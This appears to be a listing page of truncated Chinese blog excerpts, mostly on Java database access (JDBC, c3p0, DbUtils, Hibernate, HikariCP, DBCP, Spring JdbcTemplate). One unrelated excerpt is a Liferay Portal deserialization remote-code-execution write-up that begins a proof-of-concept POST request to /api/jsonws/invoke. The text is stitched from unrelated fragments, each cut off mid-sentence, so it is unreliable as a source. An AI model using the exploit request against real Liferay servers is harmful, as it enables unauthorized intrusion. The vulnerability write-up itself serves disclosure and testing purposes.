c3p0

方法1：使用java.sql.DriverManager类 驱动管理器类，用于管理所有注册的驱动程序。 （注：DataSource 接口是 JDBC 2.0 API 中的新增内容，它提供了连接到数据源的另一种方法。使用 DataSource 对象是连接到数据源的首选方法。） 常用的两个API registerDriver(driver) : 注册驱动类对象 ConnectiongetConnection(url,user,password); 获取连接对象 @Test public void test1 (){ Statement stmt = null; Connection conn = null; try { //1.驱动注册程序 --内部执行了RegisterDriver Class.forName( "com.mysql.jdbc.Driver"); //2.获取连接对象 conn = DriverManager.getConnection(url, user, password); //3.创建Statement stmt = conn.createStatement(); //4.准备sql String sql = "CREATE TABLE student(id INT PRIMARY KEY AUTO_INCREMENT,NAME VARCHAR(20)

JDBC_c3p0数据库连接池 1.一个基本的c3p0数据库连接池 /** * 一个基本的从池c3p0数据库连接池 */ public static void testC3P0() throws Exception{ ComboPooledDataSource cpds = new ComboPooledDataSource(); cpds.setDriverClass( "com.mysql.jdbc.Driver" ); //loads the jdbc driver cpds.setJdbcUrl( "jdbc:mysql:///test" ); cpds.setUser("root"); cpds.setPassword("123456"); System.out.println(cpds.getConnection()); } 2.通过配置文件来设置c3p0数据库连接池 (1).配置文件 c3p0-config.xml <?xml version="1.0" encoding="UTF-8"?> <c3p0-config> <named-config name="helloc3p0"> <!-- 指定连接数据源的基本属性 --> <property name="user">root</property> <property name="password">1230<

Dbutils学习（介绍和入门） 一：Dbutils是什么？（当我们很难理解一个东西的官方解释的时候，就让我们记住它的作用） Dbutils：主要是封装了JDBC的代码，简化dao层的操作。 作用：帮助java程序员，开发Dao层代码的简单框架。 框架的作用：帮助程序员，提高程序的开发效率。 出生：Dbutils是由Apache公司提供。 二：为什么需要Dbutils ？ 在使用Dbutils 之前，我们Dao层使用的技术是JDBC，那么分析一下JDBC的弊端： （1）数据库链接对象、sql语句操作对象，封装结果集对象，这三大对象会重复定义 （2）封装数据的代码重复，而且操作复杂，代码量大 （3）释放资源的代码重复 结果：（1）程序员在开发的时候，有大量的重复劳动。（2）开发的周期长，效率低 三：Dbutils三个核心类介绍： 1：DbUtils：连接数据库对象----jdbc辅助方法的集合类，线程安全 构造方法：DbUtils() 作用：控制连接，控制书屋，控制驱动加载额一个类。 2：QueryRunner：SQL语句的操作对象，可以设置查询结果集的封装策略，线程安全。 构造方法： （1）QueryRunner()：创建一个与数据库无关的QueryRunner对象，后期再操作数据库的会后，需要手动给一个Connection对象，它可以手动控制事务。 Connection

Hibernate配置文件与映射文件详解 一、Hibernate配置文件详解 Hibernate配置文件有两种形式：XML与properties XML（hibernate.cfg.xml）文件详解： <? xml version="1.0" encoding="GBK" ?> <!-- 指定Hibernate配置文件的DTD信息 --> <! DOCTYPE hibernate-configuration PUBLIC "-//Hibernate/Hibernate Configuration DTD 3.0//EN" "http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd" > <!-- hibernate- configuration是连接配置文件的根元素 --> < hibernate-configuration > < session-factory > <!-- 指定连接数据库所用的驱动 --> < property name ="connection.driver_class" > com.mysql.jdbc.Driver </ property > <!-- 指定连接数据库的url，hibernate连接的数据库名 --> < property name ="connection.url" >

说到数据库配置，我们最开始想象的也就是JDBC连接。 1、首先，我们得准备mysql的驱动jar包 2、得有数据库 3、使用JDBC连接mysql数据库demo //JDBC驱动名 String JDBC_DRIVER = "com.mysql.jdbc.Driver"; //数据库URL：这里的mysql2020是数据库名称 String JDBC_URL = "jdbc:mysql://localhost:3306/mysql2020?useSSL=false&serverTimezone=UTC"; //数据库的用户名与密码 String USER = "root"; String PASS = "123456"; //通过DriverManager类获得该连接对象才能访问数据库 Connection connection = null; //通过Connection获得该结果对象用于执行静态的SQL语句 Statement statement = null; try { //注册JDBC驱动 Class.forName(JDBC_DRIVER); //数据库的连接：通过DriverManager类的getConnection方法，传入三个参数：数据库URL、用户名、用户密码，实例化connection对象 connection = DriverManager

数据库连接池是什么： 连接池是一种常用的技术，为什么需要连接池呢？这个需要从TCP说起。假如我们的服务器跟数据库没有部署在同一台机器，那么，服务器每次查询数据库都要先建立连接，一般都是TCP链接，建立连接就需要3次握手了，假设后台服务跟数据库的单程的访问时间需要10ms，那么光是建立连接就花了30ms，并且TCP还有慢启动的机制，实际上一次查询可能还不止1次TCP来回，查询效率就会大大降低。 为什么需要连接池： 为了解决上述问题，我们就需要维护一些长链接，这样就不用每次都去建立连接，毕竟建立连接除了占用时间，还需要一些其他的系统资源。另外的好处，连接池让我们更加容易地管理，一方面是可以避免数据库资源都被某几个API占据，另一方面也可以避免资源泄露。 什么是HikariCP HikariCP是由在日本生活的美国人程序员开源的一个数据库连接池组件，代码非常轻量，并且速度非常的快。根据官方提供的数据，在i7,开启32个线程32个连接的情况下，进行随机数据库读写操作，HikariCP的速度是现在常用的C3P0数据库连接池的数百倍。在SpringBoot2.0中，官方也是推荐使用HikariCP。 为什么HikariCP会那么快 1.字节码更加精简，所以可以加载更多代码到缓存。 2.实现了一个无锁的集合类型，来减少并发造成的资源竞争。 3.使用了自定义的数组类型

漏洞说明： Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户. 该洞是个反序列化导致的rce，通过未授权访问其api传递json数据进行反序列化，危害较高 影响范围： Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Portal 7.2.X 环境搭建： https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版，接下来就可以运行了，安装过程一路默认配置即可 漏洞复现： poc： POST /api/jsonws/invoke HTTP/1.1 Host: php.local: 8080 Content -Length: 2335 Content -Type: application/x-www-form- urlencoded Connection: close cmd ={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate

3 月，跳不动了？>>> 1.首先引入现骨干依赖，我们以spring5版本为例。 <dependencies> <!--springmvc引入依赖的包--> <!--springmvc--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.0.2.RELEASE</version> </dependency> <!--spring-jdbc--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>5.0.2.RELEASE</version> </dependency> <!--spring的单元测试--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-test</artifactId> <version>5.0.2.RELEASE</version> </dependency> <!--面向切面编程--> <dependency> <groupId>org.springframework<

我用的是springboot2.x整合如下连接池： 一、DBCP连接池(已过时，不推荐使用) Tomcat 在 7.0 以前版本使用 commons-dbcp 做连接池。 DBCP缺点如下： 1、dbcp 是单线程的，为了保证线程安全会锁整个连接池 2、dbcp没有自动回收空闲连接的功能 3、dbcp 性能不佳 4、dbcp 使用静态接口，在 JDK 1.6 编译有问题 5、dbcp 发展滞后 dbcp一个线程：负责心跳，最小连接数维持，最大空闲时间和防连接泄露。 整合步骤： 1、引入pom <!-- dbcp数据库连接池 --> <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency> 2、配置文件添加 #必须参数 spring.datasource.driver-class-name=com.mysql.jdbc.Driver spring.datasource.type=org.apache.commons.dbcp.BasicDataSource spring.datasource.url=jdbc:mysql://localhost:3306/sumengnan?useUnicode=true

传统JDBC代码的弊端 在传统的jdbc代码中，即使是执行一条简单的SQL语句，其实现的整个流程也是极为繁琐的，先打开数据库连接执行sql，然后组装结果，最后关闭数据库资源，这中间还有大量的try...catch...finally语句，造成了代码的泛滥，导致我们的代码可读性和可维护性急剧下降，从而引发信任问题，为了解决这些“疑难杂症”。 Spring提供了自己的解决方案，那就是JdbcTemplate模板。 实现步骤： 1.以c3p0连接mysql为例，使用c3p0需要导入两个相关jar包： c3p0-0.9.1.2.jar 以及数据库jar： mysql-connector-java-5.1.7-bin.jar 以及事物相关jar：spring-tx-4.2.4.RELEASE.jar spring-jdbc-4.2.4.RELEASE.jar 2、书写资源文件jdbc.properties <!-- 注意这里有坑，者四个键值对的键要么固定这么写，要么就以jdbc.***的方式，切记用以下方式写，却把user写成username，这是因为spring加载时username这个键被其他地方使用了 --> url=jdbc:mysql://localhost:3306/test?characterEncoding=utf-8 user=root password=123456